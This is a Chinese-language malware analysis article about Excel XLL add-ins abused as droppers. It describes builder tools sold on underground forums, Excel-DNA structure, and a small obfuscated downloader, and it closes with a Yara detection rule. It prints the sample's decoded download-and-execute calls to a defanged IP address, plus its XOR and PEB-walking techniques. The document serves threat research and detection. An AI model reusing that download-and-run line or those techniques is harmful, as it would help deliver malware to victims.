最近,研究人员发现使用恶意MicrosoftExcel加载项(XLL)文件的攻击有所增加,这是一种MITREATT&CK技术项目T1137.006的技术。这些加载项旨在使用户能够利用高性能功能,并为Excel工作表提供API调用接口。与VBA等其他接口相比,这种方法可以更有效地扩展Excel的能力,支持更多的功能,如多线程。现在,攻击者也在滥用这项技术来达到他们自己的恶意目标。攻击者向用户发送带有恶意XLL附件或恶意链接的电子邮件。受害者点击附件打开MicrosoftExcel后,系统会提示他安装并激活加载项。提示攻击者通常将代码放在xlAutoOpen函数中,该函数会在加载项激活后立即触发执行。这意味着,与需要用户启用宏的VBA宏不同,受害者将在打开宏后立即执行恶意代码。由于XLL是可移植的可执行文件,许多电子邮件网关会阻止这种格式的文件或只允许受信任的签名加载项。出售XLL恶意软件由于XLL恶意文件的快速增长,我们对犯罪地下论坛进行了调查,以衡量使用此文件格式的恶意工具和服务的流行程度。在阅读一个犯罪地下论坛时,我看到了同一攻击者的重复广告,销售一种可以创建XLLDroppers的构建工具。地下论坛销售广告用户指定可执行文件或链接地址下载诱饵文件,生成XLL文件。构建工具截图EXCEL-DNABuildAdd-in找到的大多数XLL文件具有相同的结构,本质上,XLL文件是包含xlAutoOpen导出函数的DLL文件。这些XLL文件应该是使用Excel-DNA工具生成的,包含多个大型资源。文件资源部分结构包含Excel-DNA项目组件以及加载项,可以通过查看资源名称或也存储在资源中的XML定义文件来识别包含Excel加载项的XLL文件。其XML文件包含恶意代码的加载项是使用.NET开发的,位于MODDNA资源中。要分析此恶意代码,需要将资源保存到硬盘并使用LZMA算法解压缩。反编译.NET文件后,可以看到XLL加载项的启动功能,即恶意软件下载器。使用Excel-DNA项目的.NET文件代码创建的XLL文件也可以使用项目提供的脚本自动解压缩,该脚本将XLL文件的路径作为参数,然后提取、解压缩并将资源保存到文件夹中。ExtractXLLfilescustomgeneratedadd-ins在其他不使用Excel-DNA的XLL文件中,一个Downloader只有4.5KB大小,却引起了研究人员的注意。与其他XLL文件一样,该文件也有一个导出函数xlAutoOpen。为了混淆程序控制流,样本包含许多连续的jmp指令。研究人员分析动态调试截图后发现,可执行代码背后隐藏着一段加密数据。数据在循环中解密,先确定数据的位置和大小,然后进行异或解密。密钥每处理八个字节就会更改一次。解密代码一旦数据被解密,样本可以提取三个DLL文件名、五个API函数名、payload的URL以及payload所在的本地文件路径。样本首先通过进程环境块(PEB)遍历InLoadOrderModuleList,正确解析所需DLL的基地址,然后找到要调用的API函数的地址。解析加载模块然后,恶意软件使用解析后的API函数下载有效负载并存储它以供执行。在此示例中,API调用看起来像这样:141.95.107[.]91/cgi/dl/8521000125423.exe","C:\Users\REDACTED\AppData\Roaming\joludn.exe")_wsystem("C:\Users\REDACTED\AppData\Roaming\joludn.exe")检测XLL恶意文件,Yara规则为:rulexll_custom_builder{meta:description="XLLCustomBuilder"author="patrick.schlapfer@hp.com"date="2022-01-07"strings:str2="test"op2={4D310E}op4={4939C6}condition:uint16(0)==0x5A4Dandallof(op*)andfilesize<10KB}结论MicrosoftExcel提供了许多合法的方式来执行代码,例如如Excel4.0宏、DDE和VBA,所有这些都已被攻击者滥用。最近,研究人员发现Dridex、AgentTesla、RaccoonStealer和Formbook等恶意软件家族也开始使用XLL文件进行分发。使用XLL文件的攻击数量的增加表明攻击者对这种技术很感兴趣。
